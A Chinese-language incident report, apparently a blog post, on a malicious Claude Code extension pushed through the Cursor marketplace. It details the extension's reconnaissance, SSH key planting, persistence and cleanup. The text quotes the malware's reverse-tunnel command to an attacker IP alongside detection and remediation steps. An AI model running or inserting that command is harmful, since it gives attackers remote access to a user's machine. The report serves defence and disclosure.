TL;DR :10 月 29 日,带 SSH 后门的恶意 Claude Code 扩展以 Anthropic 官方账号名义出现在 Cursor 扩展市场,存活约 11 小时,最多 5000 名开发者经自动更新中招。它会偷主机情报、植入 SSH 公钥、开反向隧道、伪装 Apple 组件持久化------但因需要管理员权限,大多数主机没能被完全打穿。Cursor 下架重建了整个市场,Anthropic 切割表态,但攻击者是怎么进来的,两家至今都没说。
先做个自查,十秒钟:在终端跑一下 grep -qs svc-telemetry ~/.ssh/authorized_keys && echo 中招了 || echo 干净。如果你在 10 月 29 日用 Cursor 且扩展开了自动更新,这一条值得跑------那个 svc-telemetry 就是这次后门留下的 SSH 公钥注释。
这事最让人后背发凉的地方在于:你做对了所有事。从官方市场装、认官方账号、开着自动更新------每一个默认选项都指向「安全」,然后后门就这么进来了。
想核对细节?参考来源在这:
发生了什么?
10 月 29 日凌晨 2:27(太平洋时间),Cursor 扩展市场上出现了 Claude Code 扩展的 2.1.312 和 2.1.313 两个「新版本」------以 Anthropic 官方账号的名义,走正常发布通道,对开启自动更新的用户静默铺开。下午 1:35 Cursor 才发现并下架,前后约 11 个小时。Cursor 口径:最多 5000 人装上了恶意版本。
恶意版干了什么?按 Cursor 公告和 openSourceMalware 的逆向分析,改动其实很小------在正常的扩展代码前面拼了 66 行 loader,扩展一激活就执行:
- 摸家底 :主机名、用户名、系统架构、home 目录、Git 邮箱、公网 IP,外加最多 40 个名字里带 KEY/TOKEN/SECRET/PASS/AWS/GCP 的环境变量------注意,只收变量名,不收值,但名字本身就告诉攻击者你这台机器上配了哪家的云、哪家的 CI,够它挑重点下户了;
- 留后门 :往
~/.ssh/authorized_keys塞一把攻击者的 Ed25519 公钥,注释伪装成人畜无害的svc-telemetry; - 打通道 :尝试开启本地 SSH 服务、建立反向隧道(
ssh -N -R *:0:localhost:22 tunnel@134.209.82.225),让攻击者能穿透你的内网 NAT 直接登进你的电脑; - 赖着不走:macOS 上装 LaunchAgent、Windows 上建计划任务、Linux 上写 crontab,后台脚本每 60 秒重试一次隧道。
然后是这次事件最讽刺的一笔:所有这些事,都是「正版」Cursor 进程干的 。没有恶意二进制、没有可疑哈希------一切发生在签过名的 Cursor Helper (Plugin) 扩展宿主进程里,哈希信誉检查全部绿灯。
为什么大部分机器没被打穿?
万幸,恶意代码自己写砸了一个关键步骤:开启 macOS/Windows 的本地 SSH 服务需要管理员权限,而扩展宿主进程通常没有。于是「反向隧道 + SSH 登入」这条完全体杀伤链在大多数主机上断裂------攻击者能塞公钥、能装持久化、能收走你的主机情报,但多数时候登不进来。
这不是攻击者仁慈,是产品化的恶意代码也有 bug。安全公司 Phorian 的评价很到位:尽管有编码缺陷,「它仍然是一个安装持久化、并回传主机侦察情报的严重威胁」。
它是怎么被发现的?daylight.ai 公布了一份真实企业环境的取证:同一家公司的两台 MacBook,相隔 35 分钟先后触发 EDR 告警------破绽是那个伪装成 Apple 组件的 com.apple.sysmond.plist。苹果的组件不会住在用户可写的 ~/Library/LaunchAgents 里,懂行的告警规则一眼就能盯上。两家主机跑的都是 Cursor 而非 VS Code,遥测与公开分析里的 C2 地址、隧道用户、LaunchAgent 名字一一对应------这不是定向渗透某一个人,这是扩展更新批量翻车的典型形态。
各方都怎么说?
- Cursor:下架恶意版本 → 预防性关停整个市场 → 审计确认「无其他扩展被篡改」→ 轮换密钥、重建市场、协调云厂商把攻击者服务器(134.209.82.225)直接下线。处置动作很快,但对「攻击者怎么拿到发布权限」只字未提。
- Anthropic :连夜切割。工程师 Felix Rieseberg 与安全负责人 David Dworken 在 X 和 HN 上明确:恶意版本「不是我们构建、发布或托管的」,Anthropic 系统和员工设备未被入侵;官方 VS Code Marketplace 和 Open VSX 完全不受影响,只有 Cursor 市场的用户中招。数小时后推送了干净的 2.1.314。不过 Ars Technica 点名批评:Anthropic 至今没给客户发正式安全通告,全靠工程师社媒喊话。
- 社区(HN):讨论焦点很快从个案转向信任模型------扩展市场的发布通道该不该上硬件密钥和审计?自动更新要不要有延迟窗口?IDE 扩展该不该进企业的 EDR 监控清单?这些问题的答案,大概率会在接下来几个月里被各平台陆续补齐。
该做什么、该怎么看
如果你可能装过这两个版本(10 月 29 日、Cursor、自动更新),按「已被入侵」处理,别心存侥幸:
- 跑 Cursor 官方公告里的检测命令,确认
authorized_keys里有没有svc-telemetry; - 有的话:删公钥、清持久化(
com.apple.sysmond.plist、~/.config/.smt/.smtk、Windows 的 SysMon 计划任务)、杀掉带-R *:0:localhost:22的 ssh/autossh 进程------光卸载扩展没用,独立的持久化脚本还在跑; - 从一台干净的机器上,轮换这台电脑能摸到的一切凭据:云密钥、Git token、SSH 私钥;
- 升级到 2.1.314,全公司范围封禁 C2 地址
134.209.82.225。
把话说清楚:站得住的事实是「官方账号、官方市场、11 小时、最多 5000 人、多数主机未完全失守」;悬而未决的是入侵途径------账号被盗、流水线被渗透还是内部作恶,答案直接决定这件事是「Cursor 的一次安全事故」还是「所有扩展市场的共同剧本」。在你看到平台方给出那个答案之前,给自己的 IDE 扩展做一次 authorized_keys 体检,大概是目前性价比最高的动作。